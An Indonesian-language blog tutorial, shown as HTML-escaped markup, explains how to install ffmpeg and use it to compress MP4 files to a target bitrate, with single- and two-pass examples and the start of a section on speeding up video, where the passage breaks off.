MP4!&lt;/div&gt;&lt;div&gt;&lt;span&gt;2024-10-07&lt;/span&gt;&lt;span&gt;ffmpeg&lt;/span&gt;&lt;span&gt;&lt;span&gt;#ffmpeg&lt;/span&gt;&lt;span&gt;#tutorial&lt;/span&gt;&lt;span&gt;#video format&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;317&quot; src=&quot;/_astro/featured.Dxcniaw8_11vmTO.webp&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Nah, karena aktivitas ini (menggunakan &lt;code&gt;ffmpeg&lt;/code&gt; untuk mengkompres dan mempercepat video) berulang, saya putuskan untuk membuat dokumentasi ini. Meskipun saya tahu banyak website dan AI (&lt;em&gt;artificial intelligence&lt;/em&gt;) yang sudah saling terintegrasi untuk melakukan 2 aktivitas tersebut, saya tetap yakin memprosesnya di komputer lokal juga memiliki keunggulan tertentu, misalnya lebih hemat kuota internet. Sebab, satu file video yang hanya berdurasi tidak lebih dari 3 menit, bisa berukuran hingga 400-an MB! Lagipula, saya hampir 100% yakin, backend dari website-website dan AI pemrosesan video diluar sana juga pasti meggunakan &lt;em&gt;tool&lt;/em&gt; yang sama dengan yang saya pakai: &lt;code&gt;ffmpeg&lt;/code&gt;, hehe.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;WARNING&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;DISCLAIMER!&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Artikel ini sepenuhnya merujuk pada &lt;a href=&quot;https://claude.ai/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Antrophic Claude&lt;/strong&gt;&lt;/a&gt;, sebuah AI (&lt;em&gt;Artificial Intelligence&lt;/em&gt;) yang sedang naik daun saat artikel ini ditulis.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Seperti biasa, tool yang kita perlukan hanyalah &lt;code&gt;ffmpeg&lt;/code&gt; saja. Di beberapa distro populer seperti Debian/Ubuntu dan Archlinux, seharusnya &lt;code&gt;ffmpeg&lt;/code&gt; sudah ter-&lt;em&gt;install by default&lt;/em&gt;. Tapi, jika belum berikut adalah cara instalasinya.&lt;/p&gt;&lt;p&gt;Berikut adalah cara meng-&lt;em&gt;install&lt;/em&gt; &lt;code&gt;ffmpeg&lt;/code&gt; di beberapa sistem operasi UNIX/Linux:&lt;/p&gt;




























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install -y ffmpeg&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy ffmpeg&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install ffmpeg-free&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install ffmpeg&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;FreeBSD&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pkg install ffmpeg&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;ffmpeg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ffmpeg&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Use&lt;a href=&quot;#use&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah cara menggunakan &lt;code&gt;ffmpeg&lt;/code&gt; untuk mengkompres dan mempercepat durasi video.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;Satu rumus penting yang perlu diingat adalah tentang &lt;strong&gt;bitrate&lt;/strong&gt; video (kbps). Rumus ini penting, terutama jika kita punya target ukuran file yang spesifik.&lt;/p&gt;&lt;p&gt;Rumus menghitung bitrate adalah sebagai berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Bitrate&lt;/span&gt;&lt;span&gt; (kbps) = (&lt;/span&gt;&lt;span&gt;Target&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ukuran&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;MB&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;×&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;×&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1024&lt;/span&gt;&lt;span&gt;) ÷ Durasi (&lt;/span&gt;&lt;span&gt;detik&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Misalnya, kita mau video 15 detik dengan ukuran maksimal 2 MB, maka:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;×&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;×&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1024&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;÷&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;15&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;≈&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1092&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;kbps&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;section&gt;&lt;h3&gt;Compressing&lt;a href=&quot;#compressing&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Beberapa langkah dan pilihan langkah perlu dilakukan untuk mendapatkan hasil yang kita inginkan. Di sini, saya akan kenalkan 2 opsi cara untuk mengkompres file video:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Cara instan.&lt;/li&gt;
&lt;li&gt;Cara lebih presisi.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Tapi, sebelum ke sana, akan lebih baik jika kita sudah terlebih dahulu tahu perhitungan target bitrate video (dan audio jika diperlukan) nya. Cara menghitung target bitrate videonya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Durasi asli video dalam detik.&lt;/li&gt;
&lt;li&gt;Harapan ukuran target video x 8.&lt;/li&gt;
&lt;li&gt;Hasil no.2 / hasil no. 1.&lt;/li&gt;
&lt;li&gt;Hasil no.3 - audio (~128 kbps).&lt;/li&gt;
&lt;li&gt;Itulah target video bitrate-nya.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Untuk praktiknya akan dijelaskan di kedua cara berikut.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;1. The Instant Way&lt;a href=&quot;#1-the-instant-way&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Cara instan maksudnya, kita hanya perlu menuliskan satu baris perintah saja, dan hasilnya akan segera hadir, terlepas apakah ada bitrate yang hilang atau utuh. Intinya, jika kita mengutamakan kecepatan proses kompresi dibanding keakuratannya, cara ini adalah yang paling tepat.&lt;/p&gt;&lt;p&gt;Misalnya, saya punya file video berukuran 439 MB, dan ingin mengurangi ukuran file tersebut hingga ~90%.&lt;/p&gt;&lt;p&gt;Berikut adalah perhitungan bitrate-nya:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Durasi: 173 detik (2 menit 53 detik)&lt;/li&gt;
&lt;li&gt;Target ukuran: ~44 MB = 44 × 8 = 352 Mbit&lt;/li&gt;
&lt;li&gt;Target total bitrate: 352 ÷ 173 ≈ 2035 kbps&lt;/li&gt;
&lt;li&gt;Kurangi audio (~128 kbps): video bitrate ≈ 1900 kbps&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ffmpeg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;input.mp4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c:v&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;libx264&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-b:v&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1900k&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c:a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;aac&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-b:a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;128k&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-movflags&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+faststart&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;output.mp4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Penjelasan parameter:&lt;br /&gt;
&lt;code&gt;-c:v libx264&lt;/code&gt;: Codec video H.264 (&lt;em&gt;compatibility&lt;/em&gt; luas).&lt;br /&gt;
&lt;code&gt;-b:v 1900k&lt;/code&gt;: Target bitrate video.&lt;br /&gt;
&lt;code&gt;-c:a aac&lt;/code&gt;: Codec audio AAC.&lt;br /&gt;
&lt;code&gt;-b:a 128k&lt;/code&gt;: Bitrate audio 128 kbps.&lt;br /&gt;
&lt;code&gt;-movflags +faststart&lt;/code&gt;: Optimasi untuk &lt;em&gt;streaming&lt;/em&gt;/&lt;em&gt;preview&lt;/em&gt; cepat.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2. The Precise Way&lt;a href=&quot;#2-the-precise-way&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Cara yang lebih presisi maksudnya, kita perlu menjalankan 2 baris perintah &lt;code&gt;ffmpeg&lt;/code&gt; yang berbeda satu persatu (&lt;strong&gt;&lt;em&gt;two pass encoding&lt;/em&gt;&lt;/strong&gt;), agar bitrate file dalam keadaan utuh. Sederhananya, jika kita memprioritaskan keutuhan file dibandingkan kecepatan proses kompresinya, maka cara ini lebih sesuai.&lt;/p&gt;&lt;p&gt;Misalnya, saya punya file video berukuran 439 MB, dan ingin mengurangi ukuran file tersebut hingga ~90%.&lt;/p&gt;&lt;p&gt;Berikut adalah perhitungan bitrate-nya:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Durasi: 173 detik (2 menit 53 detik)&lt;/li&gt;
&lt;li&gt;Target ukuran: ~44 MB = 44 × 8 = 352 Mbit&lt;/li&gt;
&lt;li&gt;Target total bitrate: 352 ÷ 173 ≈ 2035 kbps&lt;/li&gt;
&lt;li&gt;Kurangi audio (~128 kbps): video bitrate ≈ 1900 kbps&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Perintahnya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Perintah 1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ffmpeg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;input.mp4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c:v&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;libx264&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-b:v&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1900k&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-an&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-f&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/null&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Peritah 2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ffmpeg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;input.mp4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c:v&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;libx264&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-b:v&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1900k&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c:a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;aac&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-b:a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;128k&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-movflags&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+faststart&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;output.mp4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Penjelasan parameter:&lt;br /&gt;
&lt;code&gt;-c:v libx264&lt;/code&gt;: Codec video H.264 (&lt;em&gt;compatibility&lt;/em&gt; luas).&lt;br /&gt;
&lt;code&gt;-b:v 1900k&lt;/code&gt;: Target bitrate video.&lt;br /&gt;
&lt;code&gt;-c:a aac&lt;/code&gt;: Codec audio AAC.&lt;br /&gt;
&lt;code&gt;-b:a 128k&lt;/code&gt;: Bitrate audio 128 kbps.&lt;br /&gt;
&lt;code&gt;-movflags +faststart&lt;/code&gt;: Optimasi untuk &lt;em&gt;streaming&lt;/em&gt;/&lt;em&gt;preview&lt;/em&gt; cepat.&lt;br /&gt;
&lt;code&gt;-pass 1 / -pass 2&lt;/code&gt;: &lt;em&gt;Two-pass&lt;/em&gt; untuk akurasi ukuran lebih baik.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Perintah 1 digunakan &lt;code&gt;ffmpeg&lt;/code&gt; untuk “menonton” video dari awal sampai akhir tanpa menghasilkan output video. Tujuannya hanya untuk menganalisis konten (mana bagian yang kompleks, mana yang simpel), dan menyimpan hasilnya ke file log sementara.&lt;br /&gt;
Perintah 2 digunakan &lt;code&gt;ffmpeg&lt;/code&gt; untuk benar-benar mengkompres file video menggunakan data dari Perintah 1 untuk mendistribusikan bitrate secara cerdas. Artinya, bagian yang kompleks (banyak gerak) dapat bitrate lebih, bagian yang simpel (statis) dapat bitrate lebih sedikit, sehingga ukuran akhir lebih mendekati target.&lt;/p&gt;&lt;/blockquote&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Without Audio&lt;a href=&quot;#without-audio&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Jika kita hanya perlu video-nya saja tanpa audio (kita ingin agar audio video saat ini dibuang saat proses kompresi), maka berikut &lt;em&gt;update&lt;/em&gt; perintahnya:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;1. The Instant Way&lt;/strong&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ffmpeg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;input.mp4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c:v&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;libx264&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-b:v&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2035k&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-an&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-movflags&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+faststart&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;output.mp4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;2. The Precise Way&lt;/strong&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Perintah 1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ffmpeg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;input.mp4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c:v&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;libx264&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-b:v&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2035k&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-an&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-f&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/dev/null&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Peritah 2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;ffmpeg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;input.mp4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-c:v&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;libx264&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-b:v&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2035k&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-pass&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-an&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-movflags&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;+faststart&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;output.mp4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Perubahannya hanya 3:&lt;br /&gt;
&lt;code&gt;-an&lt;/code&gt;: buang audio (&lt;em&gt;audio none&lt;/em&gt;).&lt;br /&gt;
&lt;code&gt;-b:a 128k&lt;/code&gt;: Bitrate audio tidak ada, dihapus.&lt;br /&gt;
&lt;code&gt;-b:v 2035k&lt;/code&gt;: Target bitrate video naik karena bitrate audio dihapus.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Speeding Up&lt;a href=&quot;#speeding-up&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk mempercepat video (&lt;em&gt;timelapse effect&lt;/em&gt;), kita dapat menggunakan filter &lt;code&gt;setpts&lt;/code&gt;. Setidaknya, ada 2 pilihan cara untuk mempercepat durasi video:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Cara asli.&lt;/li&gt;
&lt;li&gt;Sekaligus dengan kompres.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Tapi, sebelum ke sana, setidaknya kita sudah melakukan perhitungan beberapa hal berikut:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Durasi asli video dalam detik.&lt;/li&gt;
&lt;li&gt;Target durasi dalam detik.&lt;/li&gt;
&lt;li&gt;Faktor percepatan (durasi asli / target durasi).&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Untuk praktiknya, kita akan lihat di penjelasan berikut ini.&lt;/p&gt;&lt;section&gt;&lt;h4&gt;1. The Original Way&lt;a href=&quot;#1-the-original-way&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Cara asli maksudnya adalah kita hanya fokus untuk mempercepat durasi videonya saja tanpa mengkompres (lagi) videonya. Artinya, jika kita hanya ingin mempercepat videonya saja, cara ini adalah yang lebih sesuai untuk digunakan.&lt;/p&gt;&lt;p&gt;Misalnya, saya memiliki sebuah file video dengan spesifikasi berikut:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Durasi asli: 2 menit 53 detik (173 detik total).&lt;/li&gt;
&lt;li&gt;Target durasi: 15 detik.&lt;/li&gt;
&lt;li&gt;Faktor percepatan: 173 ÷ 15 ≈ 11.53x&lt;/li&gt;
